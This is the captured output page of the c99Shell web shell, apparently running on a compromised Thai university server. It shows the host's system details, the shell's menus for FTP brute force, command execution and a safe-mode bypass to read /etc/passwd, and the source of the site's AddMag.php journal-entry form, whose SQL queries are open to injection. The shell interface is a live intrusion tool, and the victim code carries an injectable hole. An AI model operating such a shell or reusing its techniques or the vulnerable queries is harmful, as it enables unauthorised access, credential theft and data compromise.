!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Research_depart/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddMag.php (5.98 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

include("../include/FunctionDB.php");
include(
"admin_menu.php");
include(
"../include/Function.php");
ConnectDB();
$sql "Select * From personal_tb Where Teacher_code='$Teacher_code'";
$result  mysql_query($sql) or die("Error".mysql_error());
$rs mysql_fetch_array($result);
    
$sql2 ="SELECT * FROM edu_product_tb WHERE Prod_code='$Prod_code'";
  
$res mysql_query($sql2) or die("Cannot Select").mysql_error();
  
$row mysql_fetch_array($res);
?> 

<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
.style1 {
    color: #000000;
    font-weight: bold;
    font-size: 14px;
}
.style2 {font-size: 14px}
-->
</style>
<table width="841" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="841" ><br> 
          <fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="Edu_Menu.php">หน้าหลัก</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="SearchRes.php">ค้นหางานวิจัย</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /> รายชื่อข้อมูลงานวิจัย</font></legend>
            <label>
  <form id="form1" name="form1" method="post" action="InsertMag.php">
    <p><font size="2" face="Tahoma"><img src="../picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" /></font></p>
    <table width="72%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#006699" bgcolor="#eeeeee">
      
      <tr bgcolor="#F4FDC6">
        <td colspan="3" bgcolor="#FFFFFF"><div align="center" class="style1"><font face="Tahoma">เพิ่มข้อมูล 
          วารสาร / บทความ</font></div></td>
      </tr>
      <tr bgcolor="#eeeeee">
        <td width="21%" bgcolor="#FFFFFF"><div align="center" class="style2"><font color="#000066" face="Tahoma">ชื่อวรสาร</font></div></td>
        <td width="1%" bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
        <td width="78%" bordercolor="#006699" bgcolor="#FFFFFF"><input name="Magazine_name" type="text" id="Magazine_name" size="60" class="input" />
            <font color="#000066" size="2" face="Tahoma">&nbsp; </font></td>
      </tr>
      <tr bgcolor="#eeeeee">
        <td bgcolor="#FFFFFF"><div align="center" class="style2"><font color="#003366" face="Tahoma">ประเภท</font></div></td>
        <td bordercolor="#006699" bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">&nbsp;</font></td>
        <td bordercolor="#006699" bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">
          <input type="radio" name="Magazine_type" value="บทความวิชาการ" />
          </font><font color="#003366" face="Tahoma"><span class="style2">บทความวิชาการ
          <input type="radio" name="Magazine_type" value="งานวิจัย" />
          งานวิจัย
          <input type="radio" name="Magazine_type" value="บทความทั่วไป" />
          บทความทั่วไป 
          <input type="radio" name="Magazine_type" value="ความรู้ทั่วไป" />
        ความรู้ทั่วไป</span></font></td>
      </tr>
      <tr bgcolor="#eeeeee">
        <td bgcolor="#FFFFFF"><div align="center"><span class="style2"></span></div></td>
        <td bordercolor="#006699" bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">&nbsp;</font></td>
        <td bordercolor="#006699" bgcolor="#FFFFFF"> <span class="style2"><font color="#000066" face="Tahoma">ฉบับที่</font></span><font color="#003366" size="2" face="Tahoma">
          <input name="Vol" type="text" class="input" id="Vol" size="10" />
          </font><font color="#003366" face="Tahoma"><span class="style2">          เริ่มเดือน </span></font><font color="#003366" size="2" face="Tahoma">
          <select name="Month" id="Month">
            <? getThaiMonth();?>
          </select>
          </font><font color="#003366" face="Tahoma"><span class="style2">ถึงเดือน </span></font><font color="#003366" size="2" face="Tahoma">
          <select name="Month_S" id="Month_S">
            <? getThaiMonth();?>
                              </select>
</font><font color="#003366" face="Tahoma">          <span class="style2">ปีท</span></font><font color="#003366" size="2" face="Tahoma">ี่ 
          <input name="Year" type="text" class="style1" id="Year" size="5" maxlength="4" />
            </font></td>
      </tr>
      <tr bgcolor="#eeeeee">
        <td bgcolor="#FFFFFF"><div align="center" class="style2"><font color="#003366" face="Tahoma">บทความโดยย่อ</font></div></td>
        <td bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
        <td bordercolor="#006699" bgcolor="#FFFFFF"><textarea name="Ex_article" cols="50" rows="5" id="Ex_article"></textarea></td>
      </tr>
      <tr bgcolor="#eeeeee">
        <td bgcolor="#FFFFFF"><div align="center" class="style2"><font color="#003366" face="Tahoma">ผู้เขียน</font></div></td>
        <td bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
        <td bordercolor="#006699" bgcolor="#FFFFFF"><input name="Author" type="text" id="Author" size="50" /></td>
      </tr>
      <tr bgcolor="#eeeeee">
        <td bgcolor="#FFFFFF"><div align="center" class="style2"><font color="#003366" face="Tahoma">คำสำคัญ/Keyword</font></div></td>
        <td bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
        <td bordercolor="#006699" bgcolor="#FFFFFF"><input name="Keyword" type="text" id="Keyword" size="50" /></td>
      </tr>
      
      <tr bgcolor="#F4FDC6">
        <td colspan="3" bgcolor="#FFFFFF"><div align="center">
            <input type="submit" name="Submit3" value="    เพิ่ม    " />
          &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
          <input type="reset" name="Submit22" value="   เคลียร์   " />
        </div></td>
      </tr>
    </table>
  </form>
          </fieldset>
        <br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
      </font></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0109 ]--